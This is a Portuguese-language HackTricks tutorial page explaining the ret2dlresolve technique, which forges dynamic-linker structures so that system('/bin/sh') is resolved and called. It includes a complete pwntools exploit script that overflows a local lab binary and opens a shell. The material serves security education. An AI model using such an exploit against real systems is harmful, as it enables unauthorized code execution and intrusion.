5.5 KiB
Ret2dlresolve
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Obtenha o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informação Básica
Conforme explicado na página sobre GOT/PLT e Relro, binários sem Full Relro resolverão símbolos (como endereços para bibliotecas externas) na primeira vez que são usados. Essa resolução ocorre chamando a função _dl_runtime_resolve
.
A função _dl_runtime_resolve
obtém do stack referências a algumas estruturas de que precisa para resolver o símbolo especificado.
Portanto, é possível falsificar todas essas estruturas para fazer a resolução dinâmica do símbolo solicitado (como a função system
) e chamá-lo com um parâmetro configurado (por exemplo, system('/bin/sh')
).
Normalmente, todas essas estruturas são falsificadas criando uma cadeia ROP inicial que chama read
em uma memória gravável, em seguida as estruturas e a string '/bin/sh'
são passadas para que sejam armazenadas pelo read
em uma localização conhecida, e então a cadeia ROP continua chamando _dl_runtime_resolve
com o endereço para $'/bin/sh'
.
{% hint style="success" %} Essa técnica é útil especialmente se não houver gadgets de syscall (para usar técnicas como ret2syscall ou SROP) e não houver maneiras de vazar endereços da libc. {% endhint %}
Você pode encontrar uma explicação melhor sobre essa técnica na segunda metade do vídeo:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Estruturas
É necessário falsificar 3 estruturas: JMPREL
, STRTAB
e SYMTAB
. Você tem uma explicação melhor sobre como essas são construídas em https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures
Resumo do Ataque
- Escrever estruturas falsas em algum lugar
- Definir o primeiro argumento do sistema (
$rdi = &'/bin/sh'
) - Definir no stack os endereços das estruturas para chamar
_dl_runtime_resolve
- Chamar
_dl_runtime_resolve
system
será resolvido e chamado com'/bin/sh'
como argumento
Exemplo
Você pode encontrar um exemplo desta técnica aqui contendo uma explicação muito boa da cadeia ROP final, mas aqui está o exploit final usado:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
p.interactive()
Referências
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.